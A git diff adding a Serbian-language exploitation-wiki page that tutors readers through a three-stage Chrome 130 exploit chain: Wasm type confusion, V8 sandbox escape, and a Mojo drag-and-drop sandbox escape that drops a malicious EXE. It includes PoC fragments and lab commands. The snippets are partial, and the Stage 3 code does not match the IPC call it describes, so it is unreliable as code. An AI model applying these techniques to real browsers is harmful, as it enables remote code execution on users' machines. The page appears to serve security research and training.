diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 188446a3f..b09540790 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -761,6 +761,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Array Indexing](binary-exploitation/array-indexing.md) +- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) diff --git a/src/binary-exploitation/chrome-exploiting.md b/src/binary-exploitation/chrome-exploiting.md new file mode 100644 index 000000000..1f4076d8f --- /dev/null +++ b/src/binary-exploitation/chrome-exploiting.md @@ -0,0 +1,170 @@ +# Chrome Exploiting + +{{#include ../banners/hacktricks-training.md}} + +> Ova stranica pruža visok nivo, ali **praktičan** pregled modernog "full-chain" eksploatacionog toka rada protiv Google Chrome 130, zasnovanog na seriji istraživanja **“101 Chrome Exploitation”** (Deo-0 — Uvod). +> Cilj je pružiti pentesterima i razvojnim inženjerima eksploatacija minimalno pozadinsko znanje potrebno za reprodukciju ili prilagođavanje tehnika za sopstvena istraživanja. + +## 1. Chrome Architecture Recap +Razumevanje napadačke površine zahteva poznavanje mesta gde se kod izvršava i koje se sandboksove primenjuju. +``` ++-------------------------------------------------------------------------+ +| Chrome Browser | +| | +| +----------------------------+ +-----------------------------+ | +| | Renderer Process | | Browser/main Process | | +| | [No direct OS access] | | [OS access] | | +| | +----------------------+ | | | | +| | | V8 Sandbox | | | | | +| | | [JavaScript / Wasm] | | | | | +| | +----------------------+ | | | | +| +----------------------------+ +-----------------------------+ | +| | IPC/Mojo | | +| V | | +| +----------------------------+ | | +| | GPU Process | | | +| | [Restricted OS access] | | | +| +----------------------------+ | | ++-------------------------------------------------------------------------+ +``` +Layered defence-in-depth: + +* **V8 sandbox** (Isolate): dozvole za memoriju su ograničene kako bi se sprečilo proizvoljno čitanje/pisanje iz JITed JS / Wasm. +* **Renderer ↔ Browser split** obezbeđen putem **Mojo/IPC** razmene poruka; renderer *nema* pristup nativnom FS/mreži. +* **OS sandboxes** dodatno sadrže svaki proces (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profili). + +*Remote* napadač stoga treba **tri** uzastopne primitive: + +1. Korupcija memorije unutar V8 da bi dobio **proizvoljno RW unutar V8 heap-a**. +2. Druga greška koja omogućava napadaču da **pobegne iz V8 sandbox-a u punu memoriju renderer-a**. +3. Konačni izlaz iz sandbox-a (često logika umesto korupcije memorije) za izvršavanje koda **van Chrome OS sandbox-a**. + +--- + +## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291) + +Greška u TurboFan-ovoj **Turboshaft** optimizaciji pogrešno klasifikuje **WasmGC reference types** kada se vrednost proizvodi i konzumira unutar *jednog osnovnog blok petlje*. + +Efekat: +* Kompajler **preskoči proveru tipa**, tretirajući *referencu* (`externref/anyref`) kao *int64*. +* Kreirani Wasm omogućava preklapanje zaglavlja JS objekta sa podacima pod kontrolom napadača → addrOf() & fakeObj() **AAW / AAR primitives**. + +Minimal PoC (izvod): +```WebAssembly +(module +(type $t0 (func (param externref) (result externref))) +(func $f (param $p externref) (result externref) +(local $l externref) +block $exit +loop $loop +local.get $p ;; value with real ref-type +;; compiler incorrectly re-uses it as int64 in the same block +br_if $exit ;; exit condition keeps us single-block +br $loop +end +end) +(export "f" (func $f))) +``` +Optimizacija okidača i prskanje objekata iz JS: +```js +const wasmMod = new WebAssembly.Module(bytes); +const wasmInst = new WebAssembly.Instance(wasmMod); +const f = wasmInst.exports.f; + +for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT + +// primitives +let victim = {m: 13.37}; +let fake = arbitrary_data_backed_typedarray; +let addrVict = addrOf(victim); +``` +Outcome: **arbitrary read/write within V8**. + +--- + +## 3. Stage 2 – Izlazak iz V8 Sandbox-a (issue 379140430) + +Kada se Wasm funkcija kompilira u tier-up, generiše se **JS ↔ Wasm wrapper**. Greška u neslaganju potpisa uzrokuje da wrapper piše izvan kraja pouzdane **`Tuple2`** objekta kada se Wasm funkcija ponovo optimizuje *dok je još na steku*. + +Prepisivanje 2 × 64-bitnih polja `Tuple2` objekta omogućava **read/write na bilo kojoj adresi unutar Renderer procesa**, efikasno zaobilazeći V8 sandbox. + +Ključni koraci u eksploataciji: +1. Dovesti funkciju u **Tier-Up** stanje naizmeničnim korišćenjem turbofan/baseline koda. +2. Aktivirati tier-up dok se drži referenca na steku (`Function.prototype.apply`). +3. Koristiti Stage-1 AAR/AAW za pronalaženje i korupciju susednog `Tuple2`. + +Identifikacija wrapper-a: +```js +function wrapperGen(arg) { +return f(arg); +} +%WasmTierUpFunction(f); // force tier-up (internals-only flag) +wrapperGen(0x1337n); +``` +Nakon korupcije posedujemo potpuno funkcionalnu **renderer R/W primitivu**. + +--- + +## 4. Faza 3 – Renderer → OS Sandbox Escape (CVE-2024-11114) + +**Mojo** IPC interfejs `blink.mojom.DragService.startDragging()` može se pozvati iz Renderera sa *delimično poverljivim* parametrima. Kreiranjem `DragData` strukture koja pokazuje na **arbitrarni put do fajla**, renderer ubeđuje pregledač da izvrši *nativno* prevlačenje i ispuštanje **van renderer sandbox-a**. + +Zloupotrebom ovoga možemo programatski “prevući” maliciozni EXE (prethodno postavljen na lokaciju koja se može pisati) na Desktop, gde Windows automatski izvršava određene tipove fajlova nakon ispuštanja. + +Primer ( pojednostavljeno): +```js +const payloadPath = "C:\\Users\\Public\\explorer.exe"; + +chrome.webview.postMessage({ +type: "DragStart", +data: { +title: "MyFile", +file_path: payloadPath, +mime_type: "application/x-msdownload" +} +}); +``` +Nema dodatne korupcije memorije – **logička greška** nam omogućava izvršavanje proizvoljnih datoteka sa privilegijama korisnika. + +--- + +## 5. Tok pune veze + +1. **Korisnik posećuje** zlonamernu veb stranicu. +2. **Faza 1**: Wasm modul zloupotrebljava CVE-2025-0291 → V8 heap AAR/AAW. +3. **Faza 2**: Neusklađenost omotača korumpira `Tuple2` → izlazak iz V8 sandboxes. +4. **Faza 3**: `startDragging()` IPC → izlazak iz OS sandboxes & izvršavanje payload-a. + +Rezultat: **Daljinsko izvršavanje koda (RCE)** na hostu (Chrome 130, Windows/Linux/macOS). + +--- + +## 6. Postavka laboratorije i debagovanja +```bash +# Spin-up local HTTP server w/ PoCs +npm i -g http-server +git clone https://github.com/Petitoto/chromium-exploit-dev +cd chromium-exploit-dev +http-server -p 8000 -c -1 + +# Windows kernel debugging +"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols +``` +Korisne zastavice prilikom pokretanja *razvojne* verzije Chrome-a: +```bash +chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax" +``` +--- + +## Zaključci + +* **WebAssembly JIT greške** ostaju pouzdan ulaz – tipni sistem je još uvek mlad. +* Dobijanje druge greške u korupciji memorije unutar V8 (npr. neslaganje omotača) značajno pojednostavljuje **V8-sandbox bekstvo**. +* Logičke slabosti u privilegovanim Mojo IPC interfejsima često su dovoljne za **konačno bekstvo iz sandboks-a** – obratite pažnju na *ne-memorijske* greške. + + + +## Reference +* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/) +* [Chromium sigurnosna arhitektura](https://chromium.org/developers/design-documents/security) +{{#include ../banners/hacktricks-training.md}}